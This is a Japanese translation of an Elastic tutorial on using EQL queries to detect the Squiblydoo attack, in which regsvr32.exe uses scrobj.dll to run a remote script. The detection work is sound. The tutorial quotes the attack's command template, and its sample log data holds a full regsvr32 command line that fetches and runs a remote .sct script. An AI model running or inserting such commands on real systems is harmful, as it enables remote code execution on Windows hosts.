例: EQLを使用して脅威を検出する

この例のチュートリアルでは、EQLを使用してセキュリティ脅威やその他の疑わしい行動を検出する方法を示します。このシナリオでは、Windowsイベントログにおける[https://attack.mitre.org/techniques/T1218/010/]の検出を担当しています。

  1. https://attack.mitre.org/techniques/T1218/010/の一般的な変種の1つは[https://attack.mitre.org/techniques/T1218/010/]です。Squiblydoo攻撃では、`````regsvr32.exe`````コマンドが`````scrobj.dll`````ライブラリを使用してリモートスクリプトを登録および実行します。これらのコマンドは通常、次のようになります:
  2. ``````sh
  3. "regsvr32.exe /s /u /i:<script-url> scrobj.dll"
  4. `

セットアップ

このチュートリアルでは、[https://github.com/redcanaryco/atomic-red-team]からのテストデータセットを使用して、Squiblydoo攻撃を模倣するイベントが含まれています。このデータは、[https://www.elastic.co/guide/en/ecs/8.11]フィールドにマッピングされています。

始めるには:

Python

  1. resp = client.indices.put_index_template(
  2. name="my-data-stream-template",
  3. index_patterns=[
  4. "my-data-stream*"
  5. ],
  6. data_stream={},
  7. priority=500,
  8. )
  9. print(resp)

Ruby

  1. response = client.indices.put_index_template(
  2. name: 'my-data-stream-template',
  3. body: {
  4. index_patterns: [
  5. 'my-data-stream*'
  6. ],
  7. data_stream: {},
  8. priority: 500
  9. }
  10. )
  11. puts response

Js

  1. const response = await client.indices.putIndexTemplate({
  2. name: "my-data-stream-template",
  3. index_patterns: ["my-data-stream*"],
  4. data_stream: {},
  5. priority: 500,
  6. });
  7. console.log(response);

コンソール

  1. PUT /_index_template/my-data-stream-template
  2. {
  3. "index_patterns": [ "my-data-stream*" ],
  4. "data_stream": { },
  5. "priority": 500
  6. }
  • 2. normalized-T1117-AtomicRed-regsvr32.jsonをダウンロードします。
  • 3. バルクAPIを使用して、データを一致するストリームにインデックスします:
    1. curl -H "Content-Type: application/json" -XPOST "localhost:9200/my-data-stream/_bulk?pretty&refresh" --data-binary "@normalized-T1117-AtomicRed-regsvr32.json"
  • 4. cat indices APIを使用して、データがインデックスされたことを確認します:

Python

  1. resp = client.cat.indices(
  2. index="my-data-stream",
  3. v=True,
  4. h="health,status,index,docs.count",
  5. )
  6. print(resp)

Ruby

  1. response = client.cat.indices(
  2. index: 'my-data-stream',
  3. v: true,
  4. h: 'health,status,index,docs.count'
  5. )
  6. puts response

Js

  1. const response = await client.cat.indices({
  2. index: "my-data-stream",
  3. v: "true",
  4. h: "health,status,index,docs.count",
  5. });
  6. console.log(response);

コンソール

  1. GET /_cat/indices/my-data-stream?v=true&h=health,status,index,docs.count

応答には、docs.count150が表示されるはずです。

Txt

  1. health status index docs.count
  2. yellow open .ds-my-data-stream-2099.12.07-000001 150

regsvr32イベントのカウントを取得する

まず、regsvr32.exeプロセスに関連するイベントのカウントを取得します:

Python

  1. resp = client.eql.search(
  2. index="my-data-stream",
  3. filter_path="-hits.events",
  4. query="\n any where process.name == \"regsvr32.exe\" \n ",
  5. size=200,
  6. )
  7. print(resp)

Js

  1. const response = await client.eql.search({
  2. index: "my-data-stream",
  3. filter_path: "-hits.events",
  4. query: '\n any where process.name == "regsvr32.exe" \n ',
  5. size: 200,
  6. });
  7. console.log(response);

コンソール

  1. GET /my-data-stream/_eql/search?filter_path=-hits.events
  2. {
  3. "query": """
  4. any where process.name == "regsvr32.exe"
  5. """,
  6. "size": 200
  7. }
?filter_path=-hits.eventsは、レスポンスからhits.eventsプロパティを除外します。 この検索は、イベントのリストではなく、イベントのカウントを取得することを目的としています。
process.nameregsvr32.exeのイベントに一致します。
一致するイベントの最大200件を返します。

応答は143件の関連イベントを返します。

コンソール-結果

  1. {
  2. "is_partial": false,
  3. "is_running": false,
  4. "took": 60,
  5. "timed_out": false,
  6. "hits": {
  7. "total": {
  8. "value": 143,
  9. "relation": "eq"
  10. }
  11. }
  12. }

コマンドラインアーティファクトを確認する

  1. #### Python
  2. ``````python
  3. resp = client.eql.search(
  4. index="my-data-stream",
  5. query="\n process where process.name == \"regsvr32.exe\" and process.command_line.keyword != null\n ",
  6. )
  7. print(resp)
  8. `

Js

  1. const response = await client.eql.search({
  2. index: "my-data-stream",
  3. query:
  4. '\n process where process.name == "regsvr32.exe" and process.command_line.keyword != null\n ',
  5. });
  6. console.log(response);

コンソール

  1. GET /my-data-stream/_eql/search
  2. {
  3. "query": """
  4. process where process.name == "regsvr32.exe" and process.command_line.keyword != null
  5. """
  6. }

クエリは、event.typecreationのイベントに一致し、regsvr32.exeプロセスの開始を示します。イベントのprocess.command_line値に基づいて、regsvr32.exescrobj.dllを使用してスクリプトRegSvr32.sctを登録しました。これはSquiblydoo攻撃の動作に適合します。

コンソール-結果

  1. {
  2. ...
  3. "hits": {
  4. "total": {
  5. "value": 1,
  6. "relation": "eq"
  7. },
  8. "events": [
  9. {
  10. "_index": ".ds-my-data-stream-2099.12.07-000001",
  11. "_id": "gl5MJXMBMk1dGnErnBW8",
  12. "_source": {
  13. "process": {
  14. "parent": {
  15. "name": "cmd.exe",
  16. "entity_id": "{42FC7E13-CBCB-5C05-0000-0010AA385401}",
  17. "executable": "C:\\Windows\\System32\\cmd.exe"
  18. },
  19. "name": "regsvr32.exe",
  20. "pid": 2012,
  21. "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
  22. "command_line": "regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll",
  23. "executable": "C:\\Windows\\System32\\regsvr32.exe",
  24. "ppid": 2652
  25. },
  26. "logon_id": 217055,
  27. "@timestamp": 131883573237130000,
  28. "event": {
  29. "category": "process",
  30. "type": "creation"
  31. },
  32. "user": {
  33. "full_name": "bob",
  34. "domain": "ART-DESKTOP",
  35. "id": "ART-DESKTOP\\bob"
  36. }
  37. }
  38. }
  39. ]
  40. }
  41. }

悪意のあるスクリプトの読み込みを確認する

  1. #### Python
  2. ``````python
  3. resp = client.eql.search(
  4. index="my-data-stream",
  5. query="\n library where process.name == \"regsvr32.exe\" and dll.name == \"scrobj.dll\"\n ",
  6. )
  7. print(resp)
  8. `

Js

  1. const response = await client.eql.search({
  2. index: "my-data-stream",
  3. query:
  4. '\n library where process.name == "regsvr32.exe" and dll.name == "scrobj.dll"\n ',
  5. });
  6. console.log(response);

コンソール

  1. GET /my-data-stream/_eql/search
  2. {
  3. "query": """
  4. library where process.name == "regsvr32.exe" and dll.name == "scrobj.dll"
  5. """
  6. }

クエリはイベントに一致し、scrobj.dllが読み込まれたことを確認します。

コンソール-結果

  1. {
  2. ...
  3. "hits": {
  4. "total": {
  5. "value": 1,
  6. "relation": "eq"
  7. },
  8. "events": [
  9. {
  10. "_index": ".ds-my-data-stream-2099.12.07-000001",
  11. "_id": "ol5MJXMBMk1dGnErnBW8",
  12. "_source": {
  13. "process": {
  14. "name": "regsvr32.exe",
  15. "pid": 2012,
  16. "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
  17. "executable": "C:\\Windows\\System32\\regsvr32.exe"
  18. },
  19. "@timestamp": 131883573237450016,
  20. "dll": {
  21. "path": "C:\\Windows\\System32\\scrobj.dll",
  22. "name": "scrobj.dll"
  23. },
  24. "event": {
  25. "category": "library"
  26. }
  27. }
  28. }
  29. ]
  30. }
  31. }

成功の可能性を判断する

多くの場合、攻撃者は悪意のあるスクリプトを使用してリモートサーバーに接続したり、他のファイルをダウンロードしたりします。[@@38d25857bc9a9de1.md#eql-sequences]を使用して、次の一連のイベントを確認します:

  • 1. regsvr32.exeプロセス
  • 2. 同じプロセスによるscrobj.dllライブラリの読み込み
  • 3. 同じプロセスによる任意のネットワークイベント

前の応答で見られたコマンドライン値に基づいて、一致が見つかることが期待されます。ただし、このクエリはその特定のコマンドを対象としていません。代わりに、類似の脅威を検出するのに十分一般的な疑わしい行動のパターンを探します。

Python

  1. resp = client.eql.search(
  2. index="my-data-stream",
  3. query="\n sequence by process.pid\n [process where process.name == \"regsvr32.exe\"]\n [library where dll.name == \"scrobj.dll\"]\n [network where true]\n ",
  4. )
  5. print(resp)

Js

  1. const response = await client.eql.search({
  2. index: "my-data-stream",
  3. query:
  4. '\n sequence by process.pid\n [process where process.name == "regsvr32.exe"]\n [library where dll.name == "scrobj.dll"]\n [network where true]\n ',
  5. });
  6. console.log(response);

コンソール

  1. GET /my-data-stream/_eql/search
  2. {
  3. "query": """
  4. sequence by process.pid
  5. [process where process.name == "regsvr32.exe"]
  6. [library where dll.name == "scrobj.dll"]
  7. [network where true]
  8. """
  9. }

クエリはシーケンスに一致し、攻撃が成功した可能性が高いことを示しています。

コンソール-結果

  1. {
  2. ...
  3. "hits": {
  4. "total": {
  5. "value": 1,
  6. "relation": "eq"
  7. },
  8. "sequences": [
  9. {
  10. "join_keys": [
  11. 2012
  12. ],
  13. "events": [
  14. {
  15. "_index": ".ds-my-data-stream-2099.12.07-000001",
  16. "_id": "gl5MJXMBMk1dGnErnBW8",
  17. "_source": {
  18. "process": {
  19. "parent": {
  20. "name": "cmd.exe",
  21. "entity_id": "{42FC7E13-CBCB-5C05-0000-0010AA385401}",
  22. "executable": "C:\\Windows\\System32\\cmd.exe"
  23. },
  24. "name": "regsvr32.exe",
  25. "pid": 2012,
  26. "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
  27. "command_line": "regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll",
  28. "executable": "C:\\Windows\\System32\\regsvr32.exe",
  29. "ppid": 2652
  30. },
  31. "logon_id": 217055,
  32. "@timestamp": 131883573237130000,
  33. "event": {
  34. "category": "process",
  35. "type": "creation"
  36. },
  37. "user": {
  38. "full_name": "bob",
  39. "domain": "ART-DESKTOP",
  40. "id": "ART-DESKTOP\\bob"
  41. }
  42. }
  43. },
  44. {
  45. "_index": ".ds-my-data-stream-2099.12.07-000001",
  46. "_id": "ol5MJXMBMk1dGnErnBW8",
  47. "_source": {
  48. "process": {
  49. "name": "regsvr32.exe",
  50. "pid": 2012,
  51. "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
  52. "executable": "C:\\Windows\\System32\\regsvr32.exe"
  53. },
  54. "@timestamp": 131883573237450016,
  55. "dll": {
  56. "path": "C:\\Windows\\System32\\scrobj.dll",
  57. "name": "scrobj.dll"
  58. },
  59. "event": {
  60. "category": "library"
  61. }
  62. }
  63. },
  64. {
  65. "_index": ".ds-my-data-stream-2099.12.07-000001",
  66. "_id": "EF5MJXMBMk1dGnErnBa9",
  67. "_source": {
  68. "process": {
  69. "name": "regsvr32.exe",
  70. "pid": 2012,
  71. "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
  72. "executable": "C:\\Windows\\System32\\regsvr32.exe"
  73. },
  74. "@timestamp": 131883573238680000,
  75. "destination": {
  76. "address": "151.101.48.133",
  77. "port": "443"
  78. },
  79. "source": {
  80. "address": "192.168.162.134",
  81. "port": "50505"
  82. },
  83. "event": {
  84. "category": "network"
  85. },
  86. "user": {
  87. "full_name": "bob",
  88. "domain": "ART-DESKTOP",
  89. "id": "ART-DESKTOP\\bob"
  90. },
  91. "network": {
  92. "protocol": "tcp",
  93. "direction": "outbound"
  94. }
  95. }
  96. }
  97. ]
  98. }
  99. ]
  100. }
  101. }